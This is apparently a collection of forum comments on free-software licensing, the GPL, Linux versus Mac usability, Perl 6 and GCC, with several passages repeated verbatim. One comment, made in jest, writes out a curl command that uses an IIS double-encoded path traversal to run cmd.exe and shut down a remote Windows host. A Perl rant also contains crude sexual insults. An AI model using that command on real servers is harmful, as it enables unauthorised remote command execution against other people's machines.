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The FSF vigorously defends its copyright on code it owns; it does not own Linux. It will be up to Linus and gang to defend their own copyright, though the FSF might offer to assist.

And no, RMS is not a lawyer. The FSF's lawyer and chief enforcer is Eben Moglen.

The software is free...

SCSL is not a free software license by the GNU definition, nor is it an OSI approved open source license.

As to whether the Solaris 9 operating environment for the x86 platform qualifies as gratis with a $20 shipping charge, it depends on whether Sun has licensed it for free redistribution to any third party.

> As soon as RMS writes a license that allows for true "freedom" (ie, I can do whatever the hell I want with the licensed software, including releasing it under a non-GPL license), I will take his views on "freedom" seriously.

I would rather not have you hoarding my own software and modifications of it, so I prefer GPL that helps keeping you honest.

> Why should he be?

Sorry, not enough context and I am feeling lazy today.

> If RMS deems a license non-compatible with the GPL, then it is by definition not "Free"

Not at all. GPL compatibility is certainly nice, but it isn't a requirement for freedom. And he never said anything the like, so you are putting words into his mouth. I would apologise if I were you.

> I'd have to check, but I'm pretty sure the Plan 9 license is officially recognized as an Open Source license.

Check again, it is not OSD, DFSG or anything the like -compliant. It is not even free by your own definition.

You are so misinformed you become libelous.

> As soon as RMS writes a license that allows for true "freedom" (ie, I can do whatever the hell I want with the licensed software, including releasing it under a non-GPL license), I will take his views on "freedom" seriously.

I would rather not have you hoarding my own software and modifications of it, so I prefer GPL that helps keeping you honest.

> Why should he be?

Sorry, not enough context and I am feeling lazy today.

> If RMS deems a license non-compatible with the GPL, then it is by definition not "Free"

Not at all. GPL compatibility is certainly nice, but it isn't a requirement for freedom. And he never said anything the like, so you are putting words into his mouth. I would apologise if I were you.

> I'd have to check, but I'm pretty sure the Plan 9 license is officially recognized as an Open Source license.

Check again, it is not OSD, DFSG or anything the like -compliant. It is not even free by your own definition.

You are so misinformed you become libelous.

While I agree the Plan 9 license isn't the best in the world, some of us aren't all that excited about software under the GPL or even LGPL. Stallman urges developers away from the Apache license let alone the Plan 9 license.

Has there been any word about how difficult it would be to add support for such features to GCJ? Any word regarding how long it'd take for such support to be added?

So "Effective C++" was really "LESS Effective C++", that a "MORE Effective C++" needed to be written?

On some systems, more is already less.

I found out that where Linux let me to declare the std namespace in the main file where I had all my includes, VS wanted the namespace declared in every file to use anything from the STL. There was also other little stuff, but nothing tooo bad.

The GPL doesn't give you shit. It's not worth the paper it's written on. I'm just waiting for the day someone tries to pursue this legally by suing someone for GPL violation. Any lawyer would laugh at this instead of taking the case. I'm being 100% serious.

Eben Moglen seems to feel differently. And so did the lawyers of the various companies that changed their minds after being told about their GPL violation.

Ahh, okay, now I understand the link to Debian. You must have some pseudo-religious belief that paying for software is inherently wrong. Can you for a moment accept the fact that the millions of dollars and hard work that goes into making a polished software product is worth some monetary value to someone? Just because you don't think so doesn't absolve you from paying for it, nor does it indicate that they are 'extorting' money from anyone else. They're just making a successful living.

Well the computer I'm using at the moment has a lot of Free software on it that I did pay for. I'm sure a lot of other /. readers could say the same. So I think it's safe to say that a belief in Free (Libre) software in no way implies a belief that software should be free (Gratis).

scripsit cscx:

Personally, I refuse to play. I will not purchase any software from any company that employs the services of collection agencies such as the BSA. Furthermore, I will do everything in my power to dissuade my clients from purchasing software from these companies.

So instead you choose to steal the software? Let me make sure I understand you correctly -- you try do dissuade your clients from `purchasing' software from them, but I seem to be getting the vibes that you're using it anyway...

Wouldn't it be cool if there were software he could use (and recommend to his clients) that didn't come with repressive licenses? What if someone put a license on software that gave you rights, instead of just extorting money from you?

I registered for COMDEX a couple years ago under the name of a company I was employed by; it was a three or four person company, and I won't comment on their licensing schemes here.

Regardless, I have gotten two letters in the last week -- one from the BSA, one from Microsoft -- saying I could be liable for an audit.

I'm no longer employed by the company, and the letters were sent to my dorm room. Will these guys come in and ransack my place? I'm running all Free Software but I still would rather avoid having the BSA tramp across my new floor rug.

More than that, the parent company of COMDEX is now bankrupt. This is the first time I can remember getting actual mail addressed to me as a programmer -- did COMDEX sell my info to stave off bankruptcy? Or did they always have that policy?

Since Linux and the entire GNU project in not made to please business, I do not think it is right to make some all end-user-operating-system. The values that the Free Software Foundation has tried to build up with GNU would be lost by putting money into it.
These people who are using the system will not understand what it is, and as someone said "they will not even know what make is", or not even GCC.
I think GNU/Linux should remain the "free" Operating System which these Geeks can hack around with. There is more to it than money you know.

If the recent Linux World Expo in new York is any example then the revolution is over and the Stallman's of the world have long since lost.

Reading Stallman's writings I come away with a sense that the ultimate over riding goal of the free software movement wasn't to see the code, or even to be able to share it with one another. It was to create a space in the software world where community could exist. Or to paraphrase Babylon 5...

The Gnu project was our last best hope for not being co-opted by business...

It failed.

Wandering the booths at expo it was astonishing to see a nearly endless series of suits all groping for the flavor of the week to sell to. The actual, "community", relegated to a small corner of the show floor off the beaten paths where they wouldn't scare financial analysts.

I work for Microsoft. I have no problem with there being proprietary software, OSes, Apps, services etc etc. What does bother me is the wholesale co-option of our public spaces into corporate agendas. Such is the fate of Linux. Go to work for Redhat, or any other "open source company", and you will find you have to sign the same non-disclosure agreements and non-compete agreements as anywhere else in the industry. You will find you must censor yourself on public forums and avoid giving away the trade secrets of the new product.

It's not so much that I question the goal of making a buck, or even the observation that open source produces better software. What I question is the end result. Once again the best and brightest of the hacker community are locked up in the same corporate structures and goals that destroyed the AI lab community and Linux's agenda is being set in corporate boardrooms.

I have always thought of free software as being analogous to the Boston Commons. A small refuge away from the bottom line values of the rest of America. With the change of goals that open source represents it's as if we have invited the land developers into the commons. Sure a multiplex and a Starbucks are nice. But I miss the park.

I'm looking at a 500k kernel (compressed) and a crunchgen'd set of binaries taht fit onto an 8MB flash with networking, a shell and far too many other things to really be considered embedded (stuff I need for other reasons). With trimming, I'm sure we could get it down to 4MB for truly embedded use.

Of course, these guys do embedded systems and own a respectable BSD when they bought BSDI. Of course, we can't figure out why they bought BSDi since their first year appeared to focus on pissing off existing customers when FreeBSD, NetBSD and OpenBSD were as good as or better than BSDi in many respects. At least if I want mediocre support, I can get it for free :)

And there are other folks in the free world doing embedded work too.

The bonus is that we don't have to put up with RMS yammering all the time. I watched and waited for HURD forever and just presumed that Emacs would get boot code. He can call that GNU/HURD all he wants. I still wish Linus has made the arbitrary choice of using the BSD-lite userland utils instead. At least the CSRG aren't as strident.

No, not Curl, curl which is free, and in many cases works better than wget.

curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201

Do you mean Curl, which is expensive, or do you mean Wget?

Remember the MPlayer/Red Hat spat? MPlayer's authors refused to even deal with anyone using Red Hat 7.x because they claimed the compiler that shipped with Red Hat was buggy and problematic, when in fact it was their own code that was not up to the level of C compliance that the compiler required.

I'm a little late in this discussion, but I saw this post and had to respond.

You're talking about gcc "version 2.96", aren't you? WTF??? Red Hat deserved to get flamed into the ground for that. They just grabbed experimental gcc code and slapped it in their distro!!! It is just like if someone took the source tree from a 2.5.x Linux kernel, applied some experimental patches to it, and called it version "2.6.0"! If some distro did that, should application / library / kernel developers even consider supporting it? Such a stupid action will cause massive problems. Maybe their code wasn't up to specs, but the gcc "2.96" fiasco did cause countless problems. Maybe you should do some reading about it.

Announcement on GNAT for ia64/OpenVMS on 14Mar2002

I wanted to let people on this list know that Ada Core Technologies has signed a contract with Compaq to implement GNAT on OpenVMS for ia64. We already have three ia64 machines in house, and are busy working on the initial step of bootstrapping the current version of GNAT on ia64.

Robert Dewar

This is great and it's the right thing to do!

Laurent

Is that the gov is taking our taxes (in man hours) to stem problems arising from corporate software. which they used our tax money to purchase in the first place. Shouldn't OUR Government stay away from this sort of wasteful spending in bad economic times?

OceanStore is the UC Berkely project to do something like this, except a little more generalized. I run a freenet node and it isn't THAT slow. After the index built (had to leave it up for three days straight), the access are much quicker (prolly most of the data is local, now...ha). The slowdowns with FreeNet is in the Onion Routing and the encryption. Also, GNU has a project called GNUNet that has aims similar to FreeNets.

Perfectly Possible. You could use GNU Bayonne or asterisk. Not exactly out of the box yet, and I don't know if either support standard modems either.

I won't take the time to include the links, but the term "GNU/Linux" strictly speaking means only the Kernel. Some interpret it to mean the Kernel plus any GPL software. In any case, I used the term "GNU/Linux Kernel" because I wanted to include the "GNU/" while still referring specifically to the kernel.

<flamebait>
That's retarded! any links you could possibly find would be wrong since even the GNU Project calls the kernel linux.
</flamebait>

The linux kernel has nothing to do with GNU other than the fact that it can run GNU software and is released under the GPL.

One of the goals of Perl 6 is to make non-trivial projects possible. That's good. The way it's being done is bad. Perl was once a lightweight, extremely flexible language. Now it's become a huge ugly monster. People wanted OO, so a nasty hack was bolted on top to allow some semblance of it. Now this nasty hack is being expanded. Sure, the code's different, but the basic form is the same. Kludge upon kludge upon kludge; I'd much rather have a nice, clean, pure language (and not one with loads of irritating whitespace thank you very much).

The same goes for the syntax. All the switching between $, @ and % is really irritating (ask a newbie how to get at the length of the keys array of a hash inside a hash, for example), and the changes proposed for 6 are just making this worse -- it seems that Larry, in his infinite wisdom, wants to prefix every data type with a different hard-to-type character. Perl was only designed for the three data types, and adding more is a mess.

Perl 6 is a complete rewrite, but it keeps all the mess which has accumulated over the previous versions. This is not good. Sure, my const int $var = 27; may look neat (in the same way that, say, Pascal does), but $var isn't entirely constant, or entirely an integer, it's just a hack which makes it sort of behave like one. The whole thing is an exercise in pseudo-computer science masturbation with little real purpose except to please the managers who dislike the one thing that makes Perl special.

On a similar note is regexes. I'm an avid fan of regular expressions simply because a nondeterministic finite automata is far more flexible than linear code. However, Larry must have been smoking that cheap $2 crack when he wrote this. Does he want Perl 6 to be flex or something?

I won't be going on to use 6. It's a nice idea, but it's completely unnecessary. It won't make large projects any easier to manage (the language is still, at heart, an almighty hack -- an impressive one, but still a hack). It won't make OO any cleaner. It won't make development any faster. To put it bluntly, Perl scripts will still look less beautiful than our friend Mr Goatse. I'd prefer to use a language which has always been pure synthesis of science and engineering, not some half-baked imposter.

Perl 6 will be nice, but I'm guessing it will be the end of Perl. It can't do what it wants to do whilst still being based upon a nasty mess. There are now other options, which provide all of Perl's power and none of the mess. Sorry, but BSD^W Perl is dying. Larry is buggering it up the ass without lubricants, just like Shoeboy is doing to Larry's daughter.

> Distributing license-incompatible source together isn't illegal because it's not "linking". License
> incompatibilities don't come into effect until you link them together.

Where did you get this "linking" thing from? The GPL makes no mention of it. "Distributing license-incompatible source together" when one of the sources is licensed under the GPL and when they are designed to be compiled into a single program is illegal because clause 2b requires that any derivative work of GPLed code be licensed wholly and entirely under the GPL.

This is covered in the GPL FAQ.

'What is the difference between "mere aggregation" 'nd "combining two modules into one program"?' is a good place to start, but I recommend reading the whole thing.

> (This is about older versions of mplayer anyway.. the current versions of mplayer can and do have binaries being distributed)

This probably isn't true. There have been numerous attempts by various Debian developers to carefully analyse mplayer (since the mplayer developers have demonstrated before that their word cannot be trusted on this issue) with a view to packaging it, and they have all found license issues which prevent its inclusion. The latest one was fairly recent.

Open source just means you can see thier [sic] code...

No, that's not what "open source" means. Read the first sentence of the introduction to the definition of the Open Source Definition. This is ironic considering so many people come away with precisely the same conclusion you did and the Open Source movement was made in part to offer something believed to be clearer than the concept of software freedom (the "Free" in Free Software). You can see the results of other misconceptions about "Open Source" too.

I don't get it.

What part of "You may not impose any further restrictions on the recipients' exercise of the rights granted herein." do you not understand?

It's things like this that make Free Software zealots look like idiots in the eyes of the public.

Yeah, because not distributing software for people who don't comply with the terms of the license under which they recieved the source code that they are using sure is idiotic zealotry!

Your understanding is incorrect. See Does the GPL allow me to sell copies of the program for money?

The wrongness is not that relevant--the punishment is completely disproportionate to the offense. Letting your parking meter expire is also wrong, but when we catch someone doing it, we write them a ticket. We don't send them to prison for years.

In the P2P situation, there's no demonstration that the copyright holder actually lost the "value" of the copied works. So it's ridiculous to treat it as if that amount was actually lost, rather than (realistically) a few percent of the amount, tops. So if uploading $1000 of CD's is "theft", it's theft comparable to shoplifting a pair of blue jeans, and should be prosecuted about the same way. Also, the stuff defining downloading more stuff as "financial gain" is positively Orwellian. What we're seeing is War On Drugs Part II.

ObLink: The Right To Read.

I just hope that f(ree)s(oftware)s(ong) and s(teve)b(almer)s(ong) won't be included.

Also the upcoming gcc-3.4 will support (at last) Precompiled Headers which will speed up compilation of big apps.

Also the upcoming gcc-3.4 will support (at last) Precompiled Headers which will speed up compilation of big apps.

Some alternatives to ant/make are

• cook (probably the best contender),
• Mk (which is like bitkeeper+make),
• Jam,
• cake (does anyone use this any more?), and
• the Plan 9 mk.

There's also something called Cons, but it needs perl to work. See this.

I haven't found a good alternative to autoconf yet. There used to be Metaconfig, but I don't know who maintains it any more (or where). It produces configure scripts similar to what you see when you configure perl. This guy uses some unreleased software package for his build systems that tend to work really well -- for C code under Unix.

Come to think of it, if someone ports/writes a build tool in C#, you'd be set.

Hoarders may get piles of money,
That is true, hackers, that is true.
But they cannot help their neighbors;
That's not good, hackers, that's not good.

pay money to rent studio time to copy audio

I think you need to read the right to read by Richard Stallman.

You so totally misunderstand the world around you. I don't know a single person without a personal computer, and a hard drive. Do you think they need to "rent studio time" to make copies of data? What? Are you going to live in everyone's hard drive and control every single thing they ever do to make sure they don't "pirate" someone's work?

The DeCSS hack was perpetrated by a 16 year old kid in his spare time with a personal computer. A computer just like the one everyone has in their living room. There will always be bright people. There will always be bright kids. The idea of trying to stifle all those human beings by limiting their capabilities, just so one "approved" group can profit from their creations, is vile and disgusting.

Is there really an underground of millionaire hackers out there, digital Robin Hoods...

Yes, but they are rich in brainpower, spare time, and available knowledge. Which ones are you hoping to take away?

An interesting read about the copyright bargain is found on gnu.org.

Look here: http://www.gnu.org/philosophy/free-sw.html

Linux usability is terrible (I agree with this point, I will agree a thousand times over), but MacOS isn't such a usability paradise either. Just to name one thing: redhat gives me four virtual desktops out of the box; why oh why doesn't MacOS do that? I find one desktop unusable.

You're deluding yourself, and your blindness is only making your work/hobby/whatever miserable for you. Everything you listed can even be done on Windows, with the correct software installed.

Windows is even worse than MacOS. Please don't go there.

If "miserable" means having the full source code to everything I use, then I'll take misery any day. I could write a thesis on how many times having the source code has made my work easier, except that I already have another thesis that I have to write first.

Mac OS X is so amazingly superior to Linux in all of these fashions, I am constantly astounded when I encounter people such as yourselves who so blindly follow the belief "Linux equals freedom, and everything else is a tool of oppression." Get off your high horses and join the 21st century.

You think I'm blind? Wait until Stallman's right to read comes true (we're halfway there already), and then we'll see who's blind.

I am astounded that you would be so venomously antagonistic towards someone else who chooses to use Linux. It's not like I'm forcing you to use it. It's not like I'm saying it has no flaws. I simply have a different set of priorities that cause me to prefer Linux over MacOS.

"Free software" exists on more than one platform, for your information.

A platform such as MacOS where the OS is not free software does not do what I want.

To tell the truth, the issue goes beyond DVD editing. I'm not a stellar programmer by any means, but I do want the source code, so that I can do things like

• patch my kerne to use IPsec encryption with the AES cipher
• write an input plugin for transcode to handle subsonic format anime scripts
• use glame for timing dialogue, exporting the resulting script directly into a mysql database

Most people are better off with Mac OS than Linux, but there are some people for which it is the reverse, and I am one of them. I want the freedom to use Linux, and I certainly hope you're not suggesting I shouldn't have that freedom, because I'll defend it to the death.

...this article and everyone's posted comments.

Lost of people (sometimes it's over 75%) that read posts here are dying to have Linux become more mainstream. However, when someone posts their impressions of trying to do a specific task from THEIR (not your) perspective (granted, the article was written in a non-professional manner), everyone gets their panites in a bunch.

The panty bunching is usually is followed by; a tantrum (probably from too much Mountain Dew or Coffee), posts about their technical superiority over the author of the web page, and eventually a nap (for being too crabby or sugar crashing from said Mountain Dew sugar high).

Most non-open source companies that release operating systems would call JWZ's comments 'customer usability feedback' and improve on those comments (again, the tone of AWZ's piece is anything but professional) for future releases of a given product.

Linux IMO has the worst record for standardiztion of an operating system I've ever seen.

Here's two reaons why:

1) A quote from JWZ's page:

Of course, all of the software I write runs on Linux; that's the beauty of standards, and of cross-platform code. I don't have to run your OS (he uses SGI's), and you don't have to run mine, and we can use the same applications anyway!

I think Linux is a great thing, in the big picture. It's a great hacker's tool, and it has a lot of potential to become something more. I hope that some day it will have evolved to the point where my mom can take home a Linux box, turn it on, and get on with her life without having to become a Unix sysadmin first, and without having to give up on all the ease of use she's come to expect from allegedly less powerful operating systems. (Is everyone listening here to where he's coming from?)

Because, you see, what I want to do is to commoditize the OS. I want to have access to all the applications that I need to do the things that I need to do, regardless. Why should someone have to retrain themselves to use a new application that does the same basic thing as the old application, just because something as trivial as the operating system changed out from under them?

This is totally right on.

Way back when MIT released their Kerberos package (server, client, etc) they pretty much distributed the packages as they were created to the public. At this time could you straight out and install this package on a Red Hat Server? (Please note: This is before Red Hat started including Kerberos packages in their distributions)

No, you could not.

Why not?

Because the source from MIT was written in Free BSD. To port (Read: re-engineer) the kerberos Package to Red Hat you had to 1) Be familiar with all aspects of Kerberos. 2) You needed to have a familiarity of the commands (and associated tags of said commands) in Free BSD to run the Kerberos Commands. 3) You need to have familiarity of the commands in Red Hat and all related Tags that are needed to run Kerberos. Long story short, you basically have to know Free BSD before you could port Kerberos to Red Hat. Needless to say, this is a major undertaking. Especially if you had multiple flavors of Unix in your office.

Secondly, at one of my former jobs I started a side project of seeing if I could port a web application from Solaris to Red Hat. Theoretically, it could be done but the additional programs needed to run this app on Red Hat needed to be located. I needed to find an install of Apache (no prob) with a few rarely used modules (ASP..no prob, a specific SSL module and a Java related module that solaris uses). Tracking down developers for mod's (especially the rarely used ones) or other related questions was a nightmare because they no longer worked on a given initative. On Solaris, the engineers for these mods where in house. After three days of trying, I gave up because I came to the conclustion that no one else was trying to do what I was doing and that finding experts in non-common areas was practically non-existent. Since this was a project on my own at work, I had to give it up for more pressing issues.

IMO both these examples show unecessary re-training and time spent on projects Unix users defined in the first paragraph shouldn't have to worry about.

2) Another quote from JWZ's initial article:

By the way, the suggestion to switch Linux distrubutions in order to get a single app to work might sound absurd at first. And that's because it is.

I don't know how many times I've tried to transfer a program on an older Red Hat system that runs well with no issues to a new Red Hat Server. Unfortunately, the same program can't be installed on a newer OS version of a Red Hat system because Red Hat thought it would be neat to change some of the new version of the Operating system around. Said changes would make the program, inoperable. Most companies and home users (the non-technical type) dont have the time or money to spend on working on initatives such as this. They need a solution and they need it yesterday. Users should not have to go back to a previous distribution, or re-engineer a solution because an operating system developer made system changes that adversely effect the running of a simple program.

What JWZ is stating are suggestions to make things better. Unfortunately, the initial reaction of the Unix Bigots, after reading and replying to articles like this, is to knock people down without understanding where he's coming from.

Dolemite

Note to JWZ there are Mac alternatives for Emacs it's not X but it works. I've been using the NT Emacs for a while now (5+ years). The (Unix) developer has put some serious work into this version of Emacs.

I have been working on Kawa since 1996. Originally it just compiled Scheme to bytecodes, but it is now a multi-language framework supporting XQuery, Emacs Lisp, some Common Lisp and other languages. It is easy to compile any of those into modules, applications or servlets. These days I'm mostly working on XQuery, a very interesting and useful new language from the W3C.

I have been working on Kawa since 1996. Originally it just compiled Scheme to bytecodes, but it is now a multi-language framework supporting XQuery, Emacs Lisp, some Common Lisp and other languages. It is easy to compile any of those into modules, applications or servlets. These days I'm mostly working on XQuery, a very interesting and useful new language from the W3C.

• Notice that GCC is not GPL, since it being GPL would cause everything to become GPL as well.

Huh? I think you'll find that GCC is most certainly licensed exclusively under the GPL.

I think you need some education on what the GPL requires. The GNU FAQ explicitly covers the question of whether programs compiled with GCC are GPL'd (they are not).

• Notice that GCC is not GPL, since it being GPL would cause everything to become GPL as well.

Huh? I think you'll find that GCC is most certainly licensed exclusively under the GPL.

I think you need some education on what the GPL requires. The GNU FAQ explicitly covers the question of whether programs compiled with GCC are GPL'd (they are not).

It has facilities in its IL compiler to spit out jvm bytecode.

Quote from this link: Oct 02-10-2002: Java Bytecode Output for Portable.Net

Sylvain Pasche has fixed up the Portable.Net assembler to generate the correct java bytecode. Now the C# compiler sports a nice JVM output backend. The results become really interesting when the whole pnetlib can be compiled into JVM code. Read full details here.

And, from what I know of these guys, they will go to all lengths not just to get the M$ stuff working correctly, but *all* supported languages. They're really a smart bunch.

RMS believes that libraies should be LGPLed if there are proprietary libraries with the same functions, but GPLed otherwise. For example the standard C library(glibc) is LGPLed, but readline(a library used in bash) is GPLed. He wrote about it here

Well, maybe not, but it would be cool. Just hook up your (satellite/cable/antenna) directly to a really fast A/D converter and use GNU Radio tools to demodulate/decode/decrypt as many channels of TV as you want and save it right to your disk. Unfortunately, this would require an obscenely fast A/D converter and more processing power than you would want to imagine (hmm... I wonder if a Beowulf cluster...).

For the uninitiated, read about GNU Radio here.

Being "stepped on" is what the quality-conscious call "editing". ;)

Note also that you *do* own your own content that you submit to Wikipedia, but to submit it you must license it under the GFDL. (Not GPL -- the software that runs the wiki is GPL, though.) You are always free to turn around and release the same material under a strict license, but any derivative works that other people make from your Wikipedia submissions will be likewise under GFDL, and you can't use their additions under a non-GFDL license without explicitly asking to relicense them.

The point, though, is that other people can also republish your submissions elsewhere -- as long as they share and share alike.

If you want your prose to vanish forever once e2 goes under and you've forgotten about it, then post on e2. If you care about the right to read, if you want your work to live on forever and still be published and improved on after you and/or the present hosting provider of Wikipedia have turned to dust, post on Wikipedia.

(And yes, you can get your refactored Wikipedia pages back from the edit history. If your contribution was deleted completely because it's not encyclopedic material, ask nicely and we'll be happy to dig it out of the archives and send you a copy.)

Being "stepped on" is what the quality-conscious call "editing". ;)

Note also that you *do* own your own content that you submit to Wikipedia, but to submit it you must license it under the GFDL. (Not GPL -- the software that runs the wiki is GPL, though.) You are always free to turn around and release the same material under a strict license, but any derivative works that other people make from your Wikipedia submissions will be likewise under GFDL, and you can't use their additions under a non-GFDL license without explicitly asking to relicense them.

The point, though, is that other people can also republish your submissions elsewhere -- as long as they share and share alike.

If you want your prose to vanish forever once e2 goes under and you've forgotten about it, then post on e2. If you care about the right to read, if you want your work to live on forever and still be published and improved on after you and/or the present hosting provider of Wikipedia have turned to dust, post on Wikipedia.

(And yes, you can get your refactored Wikipedia pages back from the edit history. If your contribution was deleted completely because it's not encyclopedic material, ask nicely and we'll be happy to dig it out of the archives and send you a copy.)

Being "stepped on" is what the quality-conscious call "editing". ;)

Note also that you *do* own your own content that you submit to Wikipedia, but to submit it you must license it under the GFDL. (Not GPL -- the software that runs the wiki is GPL, though.) You are always free to turn around and release the same material under a strict license, but any derivative works that other people make from your Wikipedia submissions will be likewise under GFDL, and you can't use their additions under a non-GFDL license without explicitly asking to relicense them.

The point, though, is that other people can also republish your submissions elsewhere -- as long as they share and share alike.

If you want your prose to vanish forever once e2 goes under and you've forgotten about it, then post on e2. If you care about the right to read, if you want your work to live on forever and still be published and improved on after you and/or the present hosting provider of Wikipedia have turned to dust, post on Wikipedia.

(And yes, you can get your refactored Wikipedia pages back from the edit history. If your contribution was deleted completely because it's not encyclopedic material, ask nicely and we'll be happy to dig it out of the archives and send you a copy.)

Stallman doesn't wear a tie. Get over it already.

However, more importantly, The Financial Times and many others seem to intentionally obfuscate or misinform their readers regarding the Freedom part of the GPL. Peddling misinformation does a heavy disservice to any that might be trying to make an informed decision regarding their IT strategies.